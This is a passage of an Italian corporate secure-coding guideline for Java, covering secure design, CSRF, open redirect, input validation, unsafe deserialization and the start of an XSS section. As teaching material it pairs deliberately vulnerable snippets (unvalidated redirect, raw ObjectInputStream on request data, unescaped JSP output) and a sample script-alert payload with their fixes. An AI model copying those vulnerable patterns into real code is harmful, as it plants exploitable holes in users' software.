BLU-MAN-006-R01
Allegato 09-R00
Aggiornamento del 08/09/2026

Java

Italgas S.p.A - Informazioni Interne

INDICE

1 INTRODUZIONE AL DOCUMENTO 3
1.1 Contesto 3
1.2 Scopo 3
1.3 Struttura del Documento 3
2 DESIGN SICURO 5
2.1 Accessibilità e visibilità 5
2.2 Metodo "Costruttore" 5
2.3 Metodi "Static Factory" 5
2.4 Ereditarietà tra classi 6
2.5 Interfacce 7
3 ACCESS CONTROL & PRIVILEGE MANAGEMENT 8
3.1 Access Control in Java 8
3.2 Role-Based Access Control in Spring-Security 8
3.3 Cross-Site Request Forgery 9
3.4 Open redirect 10
4 VALIDAZIONE E SANITIZZAZIONE DEGLI INPUT 12
4.1 Validazione 12
4.2 Sanitizzazione 12
4.3 Attacchi alla deserializzazione 13
5 INJECTION 16
5.1 Cross-Site Scripting 16
5.2 XML Injection 18
5.3 SQL Injection 20
5.4 Mass Assignment 22
6 CRITTOGRAFIA 26
6.1 Algoritmi crittografici deboli o assenti 27
7 MISCONFIGURATIONS 30
7.1 Stampa della stack trace 30
7.2 Configurazione errata dei cookie 31
8 LOGGING & MONITORING 32
8.1 Informazioni sensibili nei log 32
8.2 Log4Shell 32
8.3 Mancata validazione o sanitizzazione dei log 33
9 MUTABILITÀ 34
10 INFORMAZIONI CONFIDENZIALI 34
10.1 Credenziali Hardcoded 34
10.2 Oggetti per la gestione delle credenziali 36
11 RACE CONDITIONS 37
11.1 Concorrenza in Java 37
11.2 Spring MVC e singleton: Java Beans 37
11.3 Java Servlet 38
12 DENIAL OF SERVICE 40
12.1 Saturazione delle risorse 40
12.1.1 Socket di rete 40
12.1.2 Stream 41
12.1.3 Database 42
12.1.4 File 43
12.1.5 Regular Expression Denial of Service - ReDoS 44
13 Link utili 45
14 REFERENZE 47

1 INTRODUZIONE AL DOCUMENTO

1.1 Contesto

Questo documento è uno degli allegati al Manuale Operativo Sviluppo Sicuro e si colloca all'interno di un articolato sistema di linee guida volte a garantire la sicurezza nello sviluppo dei prodotti commissionati da Italgas. L'obiettivo è assicurare che tali prodotti siano solidi e resistenti alle minacce informatiche.
È stato redatto un documento generale che affronta l'argomento in maniera trasversale senza entrare nei dettagli specifici di ciascuna tecnologia. Il presente documento, invece, approfondisce le stesse tematiche trattate nel documento generale, focalizzandosi e contestualizzandole sulla tecnologia Java.

1.2 Scopo

Questo documento ha lo scopo di illustrare gli aspetti di sicurezza informatica da tenere in considerazione quando si sviluppa del codice applicativo. La sicurezza del software è un requisito fondamentale per garantire la protezione delle informazioni, la privacy degli utenti e il corretto funzionamento dell'applicazione finale.
In questo documento, le tematiche affrontate si concentrano sulle possibili problematiche di sicurezza che affliggono le odierne applicazioni. Nello specifico, si fa riferimento alla tecnologia Java. Per ogni aspetto di sicurezza viene fornita una descrizione, degli esempi, le corrispettive contromisure e gli accorgimenti da adottare al fine di scongiurare la presenza di vulnerabilità o bug all'interno dell'applicazione finale. Per ogni tematica trattata, l'obiettivo è quello di fornire agli sviluppatori e agli architetti una lista di problematiche di sicurezza che possono emergere come conseguenza di una programmazione non orientata agli aspetti di sicurezza.

1.3 Struttura del Documento

Nel presente documento verranno trattate diverse tematiche riguardanti il linguaggio Java, partendo da un *livello di astrazione* più alto andando man mano scendendo verso aspetti più pratici e tecnici. Gli argomenti discussi riguardano prettamente il linguaggio e le sue peculiarità. Pertanto, si rimanda al documento di linee guida generali per lo sviluppo sicuro che sviscera i problemi in maniera più astratta senza scendere nel dettaglio del linguaggio.

Il primo aspetto fondamentale nell'ambito dello sviluppo software orientato alla sicurezza è quello del **Design Sicuro,** per il quale la sicurezza di un sistema è un aspetto che deve essere presente sin dalle fasi di progettazione e non può essere definita a posteriori. Questo approccio *proattivo* previene l'introduzione di vulnerabilità e riduce i costi e i tempi necessari per le correzioni post-sviluppo.

Viene successivamente proposto un capitolo relativo all'**Access Control**, presentando diversi scenari che pongono l'attenzione sull'importanza di attuare adeguati meccanismi di *controllo degli accessi* e sulle problematiche di sicurezza che può comportare una mancata o scorretta implementazione di questi.

Il concetto di Access Control viene quindi esteso da quello di **Privilege Management**. La *gestione dei privilegi* è un aspetto fortemente correlato a quello del *controllo degli accessi*: implementare una solida gestione dei privilegi significa ridurre il rischio di abusi e attacchi informatici, garantendo che solo gli utenti autorizzati possano eseguire operazioni sensibili.

Ulteriori aspetti fondamentali da tenere in considerazione nello sviluppo di software sicuro sono quelli trattati nel capitolo **Validazione e Sanitizzazione degli input**. In questo capitolo viene spiegata la necessità di attuare sempre adeguate misure di *validazione* e *sanitizzazione* sugli input provenienti da utenti e sistemi esterni, i quali sono da considerarsi non fidati.

Vengono poi logicamente trattate anche le problematiche, tramite esempi e scenari, che derivano da una mancata o scorretta validazione e sanitizzazione dei dati nel capitolo **Injection**. Queste non assumono una

singola forma, bensì possono avere modalità e conseguenze molto differenti tra loro in base agli asset afflitti, all'ambiente esposto e ai privilegi con cui sono eseguite.

La crittografia è alla base di molte delle operazioni che un software si trova ad eseguire durante il suo ciclo di vita, permettendo di implementare comunicazioni sicure e proteggere i dati da accessi non autorizzati.
La **Gestione della Crittografia** costituisce un aspetto fondamentale da tenere in considerazione quando si valuta il livello di sicurezza di un software: l'utilizzo di tecniche crittografiche deprecate e non più sicure o una gestione impropria delle chiavi crittografiche possono vanificare le più robuste misure di sicurezza di un sistema.

Allo stesso modo, evitare **Configurazioni Insicure** è fondamentale per proteggere le infrastrutture e i dati da attacchi che possono compromettere la riservatezza, l'integrità e la disponibilità delle informazioni: nell'analogo capitolo vengono presentati diversi esempi di configurazioni insicure comuni nell'ambito dello sviluppo software e quali best practices seguire per poterle evitare.

Nel capitolo **Logging e Monitoraggio** viene spiegata l'importanza di attuare adeguati meccanismi di logging al fine di garantire un monitoraggio continuo che va attuato durante tutto il ciclo di vita di un software, permettendo di individuare tempestivamente problematiche di sicurezza, oltre che funzionali, e di risolverle tempestivamente.

Scendendo più nel dettaglio di quella che è la logica di funzionamento di Java troviamo un capitolo dedicato alla **Mutabilità**, per la quale è necessario in fase di design definire accuratamente attraverso quali modalità avverrà la gestione degli oggetti utilizzati in memoria, in funzione della loro natura. Un oggetto Java può essere immutabile, impedendo l'alterazione del proprio contenuto in memoria, o mutabile viceversa.

Le **Informazioni Confidenziali**, il cui valore deve essere conosciuto solo e solamente dalle persone o programmi autorizzati, devono essere protette durante tutta la fase di vita del software. Questo include i dati in uso e a riposo, oltre che quando in transito. È per questo motivo che non è sufficiente scrivere il segreto direttamente nei file sorgente o utilizzare algoritmi di cifratura robustissimi solo in alcuni passaggi, in quanto è necessario che le informazioni confidenziali restino tali sempre.

Viene poi speso un capitolo dedicato alle **Race conditions**, che altro non sono se non errori (bug) di programmazione in un programma che sfrutta un paradigma concorrenziale o asincrono. Si verificano infatti quando più processi o Threads accedono simultaneamente allo stesso dato o istruzione in memoria. Questo, se non correttamente gestito, genera comportamenti imprevisti ed inconsistenza.

La triade CIA copre i tre pilastri principali su cui si basa la sicurezza informatica. Di questi, l'ultimo in particolar modo riguarda la disponibilità (Availability) del sistema. In Java, sono varie le casistiche che portano l'applicativo o l'intera infrastruttura in uno stato di **Denial of Service** e vanno tutte prese in considerazione durante lo sviluppo del codice: si tratta delle risorse allocate e mai chiuse e delle espressioni regolari con complessità non lineare.

Infine, per quanto concerne l'**Utilizzo di Codice di Terze Parti,** si rimanda al documento di linee guida generali per lo sviluppo sicuro, essendo le best practice in materia valide trasversalmente a tutte le tecnologie.

2 DESIGN SICURO

Questo capitolo vuole coprire i principali aspetti e costrutti sensibili da un punto di vista della sicurezza. Tra questi troviamo la visibilità che definisce lo scope nel quale gli attributi e i metodi sono raggiungibili, i metodi costruttore e static factory e come questi vadano strutturati, l'ereditarietà e le interfacce.

La loro sicurezza consiste nel ridurre al minimo la superficie d'attacco, limitando al minimo indispensabile e solo dove necessario la raggiungibilità del codice. Per approfondirne le criticità, si rimanda l'attenzione ai link forniti in coda a tutto.

2.1 Accessibilità e visibilità

Il linguaggio ad oggetti Java si caratterizza per disporre di scope di visibilità ben definiti e robusti, la cui progettazione ed implementazione, se corretta, possono apportare anche e soprattutto una buona linea di difesa dai cyber attacchi.

Esistono infatti diversi scope di visibilità, di attributi e metodi, che ne definiscono l'accessibilità:

- **public:** espone il campo contrassegnato alla totalità dello scope dell'applicazione (classe, package, sottoclassi nella loro totalità e tutto il resto del progetto);
- **protected:** lo scope è associabile al punto public, con la sola eccezione che nella visibilità è escluso tutto il resto del progetto;
- **no modifier:** lo scope si limita a classe, package e sottoclassi solo dello stesso package;
- **private**: lo scope è limitato alla classe a cui l'entità appartiene.

2.2 Metodo "Costruttore"

Un costruttore in Java è un metodo speciale che viene richiamato al momento della creazione di un oggetto (istanza) di una classe. Il compito principale di un costruttore è di inizializzare l'oggetto, impostando un valore iniziale per ogni attributo o eseguendo qualsiasi impostazione preliminare necessaria. Viene richiamato dalla keyword **new**, e ogni classe può disporre di più costruttori grazie al principio del polimorfismo.

```
class Evento() {
    private String nome;
    private Date data;

    public Evento(String nome, Date data){
        this.setNome(nome);
        this.setData(data);
    }
}
```

È da tenere in considerazione la visibilità dei metodi, di cui fa parte il costruttore, per ragioni di sicurezza. In base al contesto, lo scope di un costruttore può essere definito public (un'API pubblica) o privato al package (logica applicativa).

2.3 Metodi "Static Factory"

L'approccio Static Factory nasce in funzione delle limitazioni dei metodi costruttori e della loro scarsa elasticità. Si tratta a tutti gli effetti di un meccanismo di Wrapping in fase di creazione di nuovi oggetti.

L'implementazione consiste nella creazione di metodi static che, una volta chiamati, ritornano un nuovo oggetto tramite una chiamata al costruttore, che è settato con visibilità private.

Il vantaggio principale consiste nella possibilità di definire metodi più verbosi per la costruzione di oggetti rispetto ai classici costruttori, che sono relegati per loro natura a chiamarsi come la classe a cui appartengono. Oltretutto, è possibile creare più metodi Static Factory che accettano gli stessi parametri, per implementare diverse logiche di funzionamento in base alle necessità e alla tipologia di operazioni.

È riportato un esempio per chiarezza.

```
public class Prodotto {
    private String codice;
    private int disponibilità;

    private Prodotto(String codice, int disponibilità){ // costruttore privato
        setCodice(codice);
        setDisponibilità(disponibilità);
    }

    public static Prodotto getNuovoProdotto(){ // Static Factory 1
        return new Prodotto(codice, disponibilità);
    }

    public static Prodotto getNuovoProdottoConCodiceRidotto(){ // Static Factory 2
        return new Prodotto("0000" + codice, disponibilità);
    }

    // Getters e Setters
}
```

Come per il metodo costruttore, è da tenere in considerazione la visibilità dei metodi static factory per ragioni di sicurezza. In base al contesto, lo scope di un metodo static factory può essere definito public (un'API pubblica) o privato al package (logica applicativa).

2.4 Ereditarietà tra classi

Nei linguaggi che basano il loro funzionamento sul paradigma Object Oriented Languages (OOP) la gerarchia, e quindi l'ereditarietà tra classi, sono un pilastro portante della logica di sviluppo.

Java permette di estendere le proprietà (attributi) ed il comportamento (metodi) di una classe, definita superclasse, ad altre classi, definite quindi sottoclassi. La possibilità di utilizzare un'istanza di una sottoclasse in sostituzione all'istanza di una superclasse è il principio noto come **Principio di sostituzione di Liskov**.

La keyword in Java che permette di estendere una superclasse alle sottoclassi è proprio **extends**. Viene riportato un esempio.

```
public class Albero { // Superclasse
    private float altezza, diametro;
    private String nome;
    public Albero (float altezza, float diametro, String nome){ // Costruttore della superclasse
        setAltezza(altezza);
        ...
    }
    // Getters e Setters
}
```

```
public class Pino extends Albero { // Sottoclasse
    private int pigne_raccolte;
    public Pino (float altezza, float diametro, String nome, int pigne_raccolte) {
        super(altezza, diametro, nome); // chiamo il costruttore della superclasse
        setPigne_raccolte(pigne_raccolte); // setto i parametri propri di Pino a parte
        ...
    }
    // Getters e Setters di Pino
}
```

Una superclasse può essere modificata dalle sue sottoclassi. Pertanto, per ragioni di sicurezza, la visibilità ed il design di queste devono essere ponderati tenendone conto. Un metodo efficace può essere la dichiarazione di attributi sensibili mediante la keyword final, che ne protegge il valore a runtime.

2.5 Interfacce

Java mette a disposizione una modalità di astrazione dei metodi chiamata Interface. Un'interfaccia è sostanzialmente una classe astratta utilizzata per raggruppare metodi tra loro correlati privi di implementazione, dichiarandone solo uno scheletro vuoto.

```
Interface Animale {
    public void mangia();
    public void whoami();
}
```

Il vantaggio di preferire le interfacce, che ovviamente vanno implementate nelle classi interessate, è di poter riutilizzare strutture condivise da più classi diverse, delegandone la definizione proprio all'interno delle classi che le utilizzano. È possibile includere più interfacce sulla medesima classe, tenendo conto però che i metodi non devono sovrapporsi creando ambiguità. Per usufruire dei metodi messi a disposizione dalle interfacce, bisogna utilizzare la keyword **implements.**

```
class Umano implements Animale {
    @Overrides
    public void whoami(){
        System.out.println("Appartengo alla classe Umano");
    }
    ...
}
```

```
class Cavallo implements Animale {
    @Overrides
    public void whoami(){
        System.out.println("Appartengo alla classe Cavallo");
        System.out.println("Quindi non sono un Umano");
        System.out.println("Tuttavia implemento la stessa interfaccia, che mi da accesso agli stessi
metodi");
    }
    ...
}
```

È da tenere in considerazione la visibilità di queste per ragioni di sicurezza. In base al contesto, lo scope di un'interfaccia può essere definito public (un'API pubblica) o privato al package (logica applicativa).

3 ACCESS CONTROL & PRIVILEGE MANAGEMENT

Il controllo degli accessi e la gestione dei privilegi assicurano la confidenzialità dei dati, e che le operazioni su questi siano definite da una rigorosa policy. Se quest'ultima è troppo lasca, o se il sistema presenta debolezze che ne minano la robustezza, c'è il serio rischio di incorrere in vulnerabilità quali information disclosure a individui non autorizzati o privilege escalation.

3.1 Access Control in Java

Il controllo degli accessi in Java è gestito dall'entità chiamata Security Manager, **deprecata** in Java 17 e **rimossa** nelle versioni successive.

Dato lo scarso utilizzo di questa componente, presente dagli albori di Java e introdotta con la versione 1.0, non è nell'ottica degli sviluppatori Oracle sostituirla con una controparte più aggiornata. Bensì è nel loro interesse introdurre nuove API o meccanismi per casi d'uso specifici.

La documentazione ufficiale Oracle spiega dettagliatamente al capitolo 9 come Java gestisce il controllo dei privilegi, utile per gestire la sicurezza nelle configurazioni che ancora lo implementano.

3.2 Role-Based Access Control in Spring-Security

Spring Security permette la gestione del controllo degli accessi mediante una politica RBAC, ovvero basata su ruoli. Le entità attraverso cui viene implementata sono le seguenti:

- **User**: Oggetto rappresentante la singola utenza
- **Role**: Rappresentazione ad alto livello dei privilegi di questa
- **Privilege**: Rappresentazione più a basso livello e granulare del ruolo

Le relazioni che legano User a Role e Role a Privilege sono definite in rapporto molti a molti, il che permetterà di riutilizzare privilegi e ruoli su più gruppi di utenti.

Si rimanda alla documentazione di Spring per la logica di implementazione e maggiori dettagli sul funzionamento.

3.3 Cross-Site Request Forgery

Un attacco Cross-Site Request Forgery (CSRF) si basa sul semplice principio per cui un browser sul quale un utente si è loggato, per ogni richiesta che manda, aggiunge in automatico i cookie salvati localmente che permettono all'applicazione web di riconoscere una richiesta legittima da una non autorizzata.

Un attaccante può sfruttare questa funzionalità a proprio vantaggio, inducendo un utente genuino che si presume già loggato all'interno dell'applicativo a mandare richieste malevole che vanno ad alterare lo stato del server (come trasferimenti di denaro o aggiornamenti dell'e-mail collegata all'account) senza il consenso e la conoscenza della vittima. Questo proprio perché il browser che manderà la richiesta ha salvato in memoria i cookie di sessione, che automaticamente attaccherà ad ogni richiesta.

I seguenti principi devono essere seguiti per proteggersi dagli attacchi CSRF:

- Se disponibili, usare le protezioni messe a disposizione dal framework in uso
- In caso il framework non disponga di queste protezioni, è necessario aggiungere i token anti CSRF a tutte le richieste e operazioni che vanno ad alterare lo stato del server e validarli lato backend
- Il software STATEFUL deve implementare i "synchronizer token pattern"
- Il software STATELESS deve implementare "double submit cookie"
- In caso il sito sia API-driven, che non può quindi affidarsi ai tag <form>, è necessario usare header di richiesta customizzati
- L'attributo SameSite dei Cookie può essere utilizzato per i cookie di sessione. TUTTAVIA la validità di questi non va impostata per l'intero dominio. Questo comportamento altrimenti introdurrebbe vulnerabilità legate al fatto che tutti i sottodomini condividerebbero lo stesso cookie, comportamento che è altamente pericoloso soprattutto in caso questi sottodomini dispongano di CNAME non direttamente controllati.
- Si considera sicuro implementare protezione basata sull'interazione con l'utente per le operazioni più sensibili
- Si consideri la verifica dell'origine mediante header HTTP standard
- Non utilizzare le richieste GET per le operazioni che vanno ad alterare lo stato del server

IMPORTANTE: Si ricorda che le vulnerabilità XSS possono scavalcare tutte le mitigazioni previste per CSRF

Routes/controllers che non definiscono esplicitamente metodi HTTP ammessi, o che permettono sia i metodi "safe" sia i metodi "unsafe", sono considerati vulnerabili agli attacchi CSRF:

```
// bad code: by default all HTTP methods are allowed if we do not specify
@RequestMapping("/delete_acc")
public String delete1(String accName) {
    // state of the app will be changed here
}
```

```
// bad code: both safe and unsafe methods are allowed
@RequestMapping(path = "/delete_acc", method = {RequestMethod.GET, RequestMethod.POST})
String delete2(@RequestParam("id") String id) {
    // state of the app will be changed here
}
```

Tutti i metodi routes/controllers di un'applicazione devono esplicitamente definire i metodi HTTP autorizzati tenendo conto delle implicazioni che questi hanno sullo stato del server e sulla sua sicurezza:

```
@RequestMapping("/delete_acc", method = RequestMethod.POST) // Compliant
public String delete1(String accName) {
    // state of the app will be changed here
}
```

```
@RequestMapping(path = "/delete_acc", method = RequestMethod.POST) // Compliant
String delete2(@RequestParam("id") String id) {
    // state of the app will be changed here
}
```

3.4 Open redirect

Gli open redirect, letteralmente reindirizzamenti aperti, occorrono quando un'applicazione utilizza direttamente dati controllabili dall'utente per costruire dinamicamente un url di reindirizzamento. Questa vulnerabilità trova utilizzo soprattutto nelle campagne di phishing, ed il seguente esempio ne mostra la motivazione.

```
https://www.mydomain.com/redirect?url=malicious.net
```

L'url appare a prima vista fidato, dato che comincia con www.mydomain.com. Tuttavia, l'applicativo registrato su questo dominio offre una funzionalità di reindirizzamento, consultabile alla risorsa /redirect. Questa accetta come parametro GET la chiave url, attraverso la quale si può specificare un indirizzo arbitrario al quale redirigere l'utente ignaro. Con buone probabilità, il sito appena raggiunto sarà:

- una copia del sito controllata dall'attaccante, che riuscirà così a far loggare l'utente rubandogli le credenziali;
- una piattaforma di distribuzione di malware.

Il seguente codice mostra un'implementazione vulnerabile all'attacco appena descritto, implementando senza alcuna forma di protezione, come possono essere validazione, sanitizzazione o livello di indirezione, un redirect con input utente.

```
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws IOException {
  String location = req.getParameter("url");
  resp.sendRedirect(location);
}
```

Nel seguente snippet invece è proposto un redirect sicuro, in quanto gli host consentiti sono espressamente definiti tramite un metodo chiamato whitelisting. I target raggiunti con quegli url sono considerati trusted, pertanto non pongono un problema alla sicurezza.

```
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws IOException {
  String location = req.getParameter("url");

  List<String> allowedHosts = new ArrayList<String>();
  allowedHosts.add("https://trusted1.example.com/");
  allowedHosts.add("https://trusted2.example.com/");

  if (allowedHosts.contains(location))
    resp.sendRedirect(location);
}
```

Nota: quando si deve reindirizzare ad un link esterno, assicurarsi che la validazione tramite *schema://autorità/* contenga il separatore / come ultimo carattere. Questo per proteggersi da una tecnica nota come Cybersquatting, mostrata di seguito.

```
String text = “https://example.com.malicious.io”;
text.startsWith("https://example.com"); // true, vulnerabile

String text = “https://example.com.malicious.io”;
text.startsWith("https://example.com/"); // false, sicura
```

4 VALIDAZIONE E SANITIZZAZIONE DEGLI INPUT

L'input utente è per sua natura da considerare non fidato o untrusted, in quanto l'applicativo in sviluppo deve essere concepito sempre considerando il caso peggiore quando si tratta di sicurezza. Un utente malintenzionato potrebbe infatti sfruttare una validazione troppo lasca e una debole sanitizzazione per portare a termine un attacco di tipo Injection. Pur essendo validazione e sanitizzazione entrambi aspetti riguardanti la gestione dell'input utente, utilizzate per prevenire contenuto inaspettato e con alta probabilità malevolo, presentano delle sostanziali differenze.

4.1 Validazione

La validazione, infatti, riguarda la verifica che i dati inseriti dall'utente rispettino determinate regole o criteri. Ad esempio, quando un utente compila un modulo, è importante assicurarsi che l'indirizzo e-mail fornito sia valido, di cui è riportato un esempio di implementazione.

Il metodo InternetAddress.validate() valida che l'oggetto sia conforme alle regole sintattiche di RFC 822 e conferma che il valore in arrivo dall'utente rispetti il formato standard richiesto.

```
public static boolean isValidEmailAddress(String email) {
    boolean result = true;
    try {
        InternetAddress emailAddr = new InternetAddress(email);
        emailAddr.validate();
    } catch (AddressException ex) {
        result = false;
    }
    return result;
}
```

4.2 Sanitizzazione

La sanitizzazione, invece, riguarda la pulizia e la rimozione dei caratteri o sequenze potenzialmente pericolose dai dati inseriti dall'utente, in base al contesto in cui questi vengono poi utilizzati. Ad esempio, è importante sanitizzare un input utente in arrivo da un form per evitare che il contenuto di un suo campo contenga del codice inaspettato che verrà interpretato dall'applicativo, al fine di esfiltrare dati o diffondere codice malevolo agli utilizzatori del servizio.

Per portare a termine questo compito esistono delle librerie come Jsoup ed OWASP ESAPI (i rispettivi link sono disponibili al termine del capitolo), il cui funzionamento è abbastanza intuitivo: preso in input un valore untrusted, come può per l'appunto essere un form con dati specificati dall'utente, viene restituito un valore equivalente ma il cui eventuale payload malevolo è stato completamente rimosso o tradotto nella sua versione sicura e non interpretabile (ad esempio il carattere '<' diventa <).

```
import org.jsoup.Jsoup;
import org.jsoup.safety.Whitelist;

public class XssSanitizer {
    public static String sanitizeInput(String input) {
        return Jsoup.clean(input, Whitelist.simpletext());
    }
}
```

In cui l'input utente, che è definito dalla stringa seguente,

```
<script> alert(1) </script>
```

viene tradotto in

```
&lt;script&gt; alert(1) &lt;/script&gt;
```

Il secondo snippet di codice non sarà interpretato dal browser, e viene pertanto considerato sicuro.

4.3 Attacchi alla deserializzazione

La deserializzazione è quel processo che permette di convertire un oggetto Java serializzato (ovvero tradotto in una sequenza di byte equivalente) in un oggetto Java, ed è pratica comune per leggere dati da diverse fonti di input.

Per essere serializzabile, una classe deve essere conforme all'interfaccia Serializable. Le classi che implementano Serializable utilizzano i metodi readObject e writeObject che rispettivamente deserializzano e serializzano le istanze degli oggetti della classe.

Questo comportamento diventa dannoso quando le classi in uso definiscono azioni su oggetti vaghi che, se non attentamente validati, permettono ad un attaccante di inserirsi nel flusso di esecuzione del programma.

Nota: la deserializzazione di dati non attendibili è intrinsecamente pericolosa e deve essere evitata.

Essendo un attacco che rientra nella categoria delle Injection, tra le remediation più efficaci troviamo una corretta e robusta sanitizzazione dell'input che vada ad analizzare e filtrare gli oggetti da uno stream di byte deserializzato.

Il codice seguente è vulnerabile ad attacchi di deserializzazione in quanto deserializza dati HTTP senza prima validarli

```
public class RequestProcessor {
    protected void doGet(HttpServletRequest request, HttpServletResponse response) {
        ServletInputStream servletIS = request.getInputStream();
        ObjectInputStream  objectIS  = new ObjectInputStream(servletIS);
        Object input = objectIS.readObject();
    }
}
```

È infatti possibile limitare solo ad alcune determinate classi la funzionalità di deserializzazione, in modo da ridurre il rischio che il codice malevolo provenga da oggetti non previsti.

```
public class SecureObjectInputStream extends ObjectInputStream {

    @Override
    protected Class<?> resolveClass(ObjectStreamClass osc) throws IOException, ClassNotFoundException {

        List<String> approvedClasses = new ArrayList<String>();
        approvedClasses.add(AllowedClass1.class.getName());
        approvedClasses.add(AllowedClass2.class.getName());

        if (!approvedClasses.contains(osc.getName())) {
            throw new InvalidClassException("Unauthorized deserialization", osc.getName());
        }

        return super.resolveClass(osc);
    }
}

public class RequestProcessor {
    protected void doGet(HttpServletRequest request, HttpServletResponse response) {
        ServletInputStream servletIS = request.getInputStream();
        ObjectInputStream  objectIS  = new SecureObjectInputStream(servletIS);
        Object input = objectIS.readObject();
    }
}
```

Consentire agli utenti di fornire dati per la deserializzazione in genere crea più problemi di quanti ne risolva.

Tutto ciò che può essere fatto attraverso la deserializzazione può essere generalmente fatto con strutture di dati più sicure. Pertanto, il nostro suggerimento è di evitare la deserializzazione in primo luogo.

Tuttavia, se i meccanismi di deserializzazione sono validi nel contesto di sviluppo, ecco alcuni suggerimenti per la sicurezza.

Metodi di serializzazione più sicuri

Alcuni metodi di serializzazione più sicuri riducono il rischio di violazioni della sicurezza, anche se non in modo definitivo.
Un serializzatore di oggetti completo non è probabilmente necessario se si devono ricevere solo dati primitivi (ad esempio numeri interi, stringhe, bool, ecc.).
In questo caso, formati come JSON e XML proteggono di default l'applicazione dagli attacchi di deserializzazione.
Per oggetti più complessi, il passo successivo consiste nel controllare quali campi della classe sono esposti, creando metodi di serializzazione specifici per la classe.
Il metodo più comune è l'uso di modelli di oggetti di trasferimento dati (DTO) o di buffer di protocollo di Google (protobuf). Dopo aver creato la struttura dati Protobuf, il compilatore Protobuf crea file di classe che gestiscono operazioni come la serializzazione e la deserializzazione dei dati.

Controllo di integrità
I Message authentication codes (MAC) possono essere usati per prevenire la manomissione dei dati serializzati destinati a essere memorizzati al di fuori del server dell'applicazione:
Sul lato server, quando si serializza un oggetto, si calcola un MAC del risultato e lo si aggiunge alla stringa dell'oggetto serializzato.
Quando il valore serializzato viene restituito, verificare il MAC della stringa di serializzazione sul lato server prima della deserializzazione.
A seconda della situazione, si possono utilizzare due modalità di calcolo del MAC.
Se la stessa applicazione sarà responsabile del calcolo e della convalida del MAC, è possibile utilizzare un algoritmo di firma simmetrica. In questo caso, si dovrebbe preferire HMAC, con un algoritmo di hash forte come SHA-256.
Se più parti devono convalidare i dati serializzati, è opportuno utilizzare un algoritmo di firma asimmetrico. In questo modo si ridurranno le possibilità di fuga del segreto di firma. In questo caso, è possibile utilizzare l'algoritmo RSASSA-PSS.

Nota: assicurarsi di memorizzare il segreto di firma in modo sicuro.

Classi pre-approvate
Come ultima risorsa, creare un elenco di classi approvate e sicure che l'applicazione dovrebbe essere in grado di deserializzare.
Se la classe non attendibile non corrisponde a una voce di questo elenco, deve essere rifiutata perché considerata non sicura.

Nota: le classi non attendibili devono essere filtrate durante la deserializzazione, non dopo.
A seconda del linguaggio o del framework, ciò dovrebbe essere possibile sovrascrivendo il processo di serializzazione o utilizzando le funzionalità native per limitare la deserializzazione dei tipi.

Nell'esempio precedente, l'elenco pre-approvato utilizza i nomi delle classi per convalidare la classe deserializzata.

5 INJECTION

Gli attacchi di Injection sono una conseguenza diretta di una mancata o debole implementazione della validazione o sanitizzazione. Un attaccante infatti sfrutta questi controlli laschi per iniettare un payload malevolo (codice) che verrà eseguito o interpretato dall'applicazione in base al contesto (es. codice javascript interpretato dal browser, una query sql eseguita dal database etc.). Le Injection vanno ad alterare la logica applicativa per esfiltrare dati, arrecare danno o ottenere un indebito vantaggio. Per prevenire questa vulnerabilità bisogna, come precedentemente specificato, tenere conto del contesto in cui il payload malevolo potrebbe essere iniettato.

5.1 Cross-Site Scripting

Gli attacchi Cross-Site Scripting (XSS) sono un tipo di attacco Injection che si verificano quando un attaccante invia codice dannoso, in genere sotto forma di script lato browser, a un utente finale separato che utilizza un'applicazione online. Questi attacchi possono essere condotti con successo ovunque un'applicazione Web incorpori input dell'utente senza effettuare verifiche, quali sanitizzazione, validazioni o livelli di indirezione, e codifiche opportune. Un attaccante può quindi inviare uno script dannoso a un utente sfruttando le vulnerabilità XSS. Il browser dell'utente finale eseguirà lo script dannoso, che potrebbe essere in grado di accedere a cookie mal configurati, token di sessione o altri dati sensibili memorizzati dal browser, poiché si presume che questo provenga da una fonte affidabile.

Esistono 3 tipologie differenti di Cross-Site Scripting:

- **XSS Riflesso:** Quando un'applicazione Web restituisce immediatamente l'input dell'utente in un messaggio di errore, in un risultato di ricerca o in un'altra risposta che contiene alcuni o tutti gli input forniti dall'utente come parte della richiesta, senza rendere tali dati sicuri per il rendering nel browser e senza memorizzare in modo permanente i dati forniti dall'utente, si parla di XSS riflesso. In alcune circostanze, i dati inviati dall'utente potrebbero anche non uscire mai dal browser.
- **XSS Persistente:** Quando l'input dell'utente viene salvato sul server di destinazione, ad esempio in un database, in una bacheca, in un registro dei visitatori, in un campo di commenti e così via, in genere si verifica un XSS persistente. La vittima può quindi accedere ai dati memorizzati dell'applicazione Web senza che il browser debba renderli sicuri. Si immagini che il payload dell'attacco venga conservato in modo permanente lato server e recuperato ogni qualvolta una pagina dell'applicativo viene richiesta da un utente. L'attaccante disporrebbe di un vettore d'attacco che copre potenzialmente tutte le utenze, semplicemente quando queste si connettono all'applicazione.
- **DOM-XSS:** L'intero flusso di dati malevoli dalla source (dove vengono letti i dati dannosi) alla sink (dove vengono eseguiti i dati dannosi) avviene nel browser durante l'XSS basato sul DOM. A titolo esemplificativo, l'URL della pagina (ad esempio, document.location.href) o un elemento HTML può fungere da sorgente e document.write può fungere da sink.

L'esempio che segue è vulnerabile ad un attacco XSS, dato che JSP non effettua un escape automatico delle variabili.

```
<%@page contentType="text/html" pageEncoding="UTF-8"%>
<%@taglib prefix="e" uri="https://www.owasp.org/index.php/OWASP_Java_Encoder_Project" %>
<!doctype html>
<html>
 <body>
    <h1>${param.title}</h1>    <!-- Noncompliant -->
 </body>
</html>
```

L'approccio migliore per proteggersi dagli XSS consiste nel codificare sistematicamente i dati scritti nei documenti HTML. L'obiettivo è lasciare i dati intatti dal punto di vista dell'utente finale, ma renderli non interpretabili dai browser web.

Le tecniche di sfruttamento XSS variano a seconda del contesto HTML in cui viene iniettato l'input dannoso. Per ogni contesto HTML, esiste una codifica specifica per impedire l'interpretazione del codice JavaScript.

L'input utente incorporato all'interno delle risorse disponibili sul server deve essere codificato in modo da prevenire vari attacchi di Injection. Questo è possibile utilizzando **OWASP Java Encoder** o altre librerie similari. Org.owasp.encoder.Encode.forHtml è il metodo raccomandato per effettuare l'encoding delle entità HTML.

```
<%@page contentType="text/html" pageEncoding="UTF-8"%>
<%@taglib prefix="e" uri="https://www.owasp.org/index.php/OWASP_Java_Encoder_Project" %>
<!doctype html>
<html>
 <body>
    <h1>${e:forHtml(param.title)}</h1>
 </body>
</html>
```

